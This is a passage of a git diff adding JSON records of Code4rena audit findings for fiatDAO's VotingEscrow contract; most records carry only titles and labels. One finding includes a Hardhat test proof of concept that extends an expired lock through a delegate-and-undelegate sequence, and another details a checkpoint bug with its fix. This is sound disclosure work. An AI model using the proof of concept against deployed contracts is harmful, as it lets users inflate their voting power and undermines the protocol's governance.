["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/283", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/278", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/275", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/272", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/265", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/258", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/257", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/255", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Inconsistent logic of increase unlock time to the expired locks", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/254", "labels": ["bug", "2 (Med Risk)", "high quality report", "sponsor confirmed"], "target": "2022-08-fiatdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-fiatdao/blob/main/contracts/VotingEscrow.sol#L493-L523 # Vulnerability details # [2022-08-fiatdao] Inconsistent logic of increase unlock time to the expired locks ## Impact Can not prevent expired locks being extended. ## Proof of Concept https://github.com/code-423n4/2022-08-fiatdao/blob/main/contracts/VotingEscrow.sol#L493-L523 Call function function `increaseUnlockTime()` with an expired lock (locked[msg.sender].end < block.timestamp) * Case 1: if sender's lock was not delegated to another address, function will be revert because of the requirement https://github.com/code-423n4/2022-08-fiatdao/blob/main/contracts/VotingEscrow.sol#L511 * Case 2: if sender's lock was delegated to another address, function will not check anything and the lock can be extended. But in case 1, sender\u2019s lock was not delegated to another, the sender can delegate to new address with end time of lock equal to new end time. After that he can call `increaseUnlockTime()` and move to case 2. Then sender can undelegate and the lock will be extended, and sender will take back vote power. Here is the script : ``` typescript= describe(\"voting escrow\", async () => { it(\"increase unlock time issue\", async () => { await createSnapshot(provider); //alice creates lock let lockTime = WEEK + (await getTimestamp()); await ve.connect(alice).createLock(lockAmount, lockTime); // bob creates lock lockTime = 50 * WEEK + (await getTimestamp()); await ve.connect(bob).createLock(10 ** 8, lockTime); //pass 1 week, alice's lock is expired await ethers.provider.send(\"evm_mine\", [await getTimestamp() + WEEK]); expect(await ve.balanceOf(alice.address)).to.eq(0); //alice can not increase unlock timme await expect(ve.connect(alice).increaseUnlockTime(lockTime)).to.be.revertedWith(\"Lock expired\"); //alice delegate to bob then can increase unlock time await ve.connect(alice).delegate(bob.address); await expect(ve.connect(alice).increaseUnlockTime(lockTime)).to.not.be.reverted; //alice delegate back herself await ve.connect(alice).delegate(alice.address); expect(await ve.balanceOf(alice.address)).to.gt(0); }); ``` ## Tools Used Manual review ## Recommended Mitigation Steps In every cases, expired locks should able to be extended -> should remove line https://github.com/code-423n4/2022-08-fiatdao/blob/main/contracts/VotingEscrow.sol#L511 "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/252", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/251", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/249", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/245", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/244", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/241", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/238", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Attackers can abuse the quitLock function to get a very large amount of votes", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/237", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "downgraded by judge", "sponsor disputed"], "target": "2022-08-fiatdao-findings", "body": "Attackers can abuse the quitLock function to get a very large amount of votes"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/235", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/233", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Unsafe usage of ERC20 transfer and transferFrom ", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/231", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-08-fiatdao-findings", "body": "Unsafe usage of ERC20 transfer and transferFrom "}, {"title": "The current implementation of the VotingEscrow contract doesn't support fee on transfer tokens", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/229", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-08-fiatdao-findings", "body": "The current implementation of the VotingEscrow contract doesn't support fee on transfer tokens"}, {"title": "Unsafe casting from int128 can cause wrong accounting of locked amounts", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/228", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "sponsor acknowledged"], "target": "2022-08-fiatdao-findings", "body": "Unsafe casting from int128 can cause wrong accounting of locked amounts"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/226", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/225", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/220", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_25.json b/results/codearena_findings_25.json new file mode 100644 index 0000000..bdac96b --- /dev/null +++ b/results/codearena_findings_25.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "ERROR IN UPDATING **_checkpoint** IN THE **increaseUnlockTime** FUNCTION", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/217", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-fiatdao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-fiatdao/blob/main/contracts/VotingEscrow.sol#L513-L514 # Vulnerability details ## Impact The potentiel impact of this error are : * Give wrong voting power to a user at a given block. * Give wrong total voting power at a given block. * Give wrong total voting power. ## Proof of Concept The error occured in this line : https://github.com/code-423n4/2022-08-fiatdao/blob/main/contracts/VotingEscrow.sol#L513 In the **increaseUnlockTime** function the oldLocked.end passed to the function **_checkpoint** is wrong as it is the same as the new newLock end time (called unlock_time) instead of being equal to **oldUnlockTime** . In the given CheckpointMath.md file it is stated that checkpoint details for **increaseUnlockTime** function should be : | Lock | amount | end | | ------------- |:-------------:|:-------------:| | old | owner.delegated | owner.end | | new | owner.delegated | T | BUT with this error you get a different checkpoint details : | Lock | amount | end | | ------------- |:-------------:|:-------------:| | old | owner.delegated | T | | new | owner.delegated | T | The error is illustrated in the code below : ``` LockedBalance memory locked_ = locked[msg.sender]; uint256 unlock_time = _floorToWeek(_unlockTime); // Locktime is rounded down to weeks /* @audit comment the unlock_time represent the newLock end time */ // Validate inputs require(locked_.amount > 0, \"No lock\"); require(unlock_time > locked_.end, \"Only increase lock end\"); require(unlock_time <= block.timestamp + MAXTIME, \"Exceeds maxtime\"); // Update lock uint256 oldUnlockTime = locked_.end; locked_.end = unlock_time; /* @audit comment The locked_ end time is update from oldUnlockTime ==> unlock_time */ locked[msg.sender] = locked_; if (locked_.delegatee == msg.sender) { // Undelegated lock require(oldUnlockTime > block.timestamp, \"Lock expired\"); LockedBalance memory oldLocked = _copyLock(locked_); oldLocked.end = unlock_time; /* @audit comment The oldLocked.end is set to unlock_time instead of oldUnlockTime */ _checkpoint(msg.sender, oldLocked, locked_); } ``` The impact of this is when calculating the **userOldPoint.bias** in the **_checkpoint** function you get an incorrect value equal to **userNewPoint.bias** (because oldLocked.end == _newLocked.end which is wrong). ``` 240 userOldPoint.bias = 241 userOldPoint.slope * 242 int128(int256(_oldLocked.end - block.timestamp)); ``` The wrong **userOldPoint.bias** value is later used to calculate and update the bias value for the new point in **PointHistory**. ``` 359 lastPoint.bias = 360 lastPoint.bias + 361 userNewPoint.bias - 362 userOldPoint.bias; 372 pointHistory[epoch] = lastPoint; ``` And added to that the wrong **oldLocked.end** is used to get oldSlopeDelta value which is used to update the **slopeChanges**. ``` 271 oldSlopeDelta = slopeChanges[_oldLocked.end]; 380 oldSlopeDelta = oldSlopeDelta + userOldPoint.slope; 381 if (_newLocked.end == _oldLocked.end) { 382 oldSlopeDelta = oldSlopeDelta - userNewPoint.slope; // It was a new deposit, not extension 383 } 384 slopeChanges[_oldLocked.end] = oldSlopeDelta; ``` As the **PointHistory** and the **slopeChanges** values are used inside the functions **balanceOfAt()** , **_supplyAt()**, **totalSupply()**, **totalSupplyAt()** to calculate the voting power, THIS ERROR COULD GIVE WRONG VOTING POWER AT A GIVEN BLOCK OF A USER OR CAN GIVE WRONG TOTAL VOTING POWER. ## Tools Used Manual Audit ## Recommended Mitigation Steps The line 513 in the VotingEscrow.sol contract : ``` 513 oldLocked.end = unlock_time; ``` Need to be replaced with the following : ``` 513 oldLocked.end = oldUnlockTime; ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/215", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/212", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Delegators can Avoid Lock Commitments if they can Reliably get Themselves Blocked when Needed", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/204", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-fiatdao-findings", "body": "Delegators can Avoid Lock Commitments if they can Reliably get Themselves Blocked when Needed"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Blocking Through Change of Blocklist Could Trap Tokens", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/200", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-08-fiatdao-findings", "body": "Blocking Through Change of Blocklist Could Trap Tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/195", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/166", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/161", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/155", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/132", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/112", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-fiatdao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-fiatdao-findings", "body": "QA Report"}, {"title": "Attacker contract can avoid being blocked by BlockList.sol", "html_url": "https://github.com/code-423n4/2022-08-fiatdao-findings/issues/75", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-fiatdao-findings", "body": "Attacker contract can avoid being blocked by BlockList.sol"}, {"title": "Gas Optimizations", "html_url": 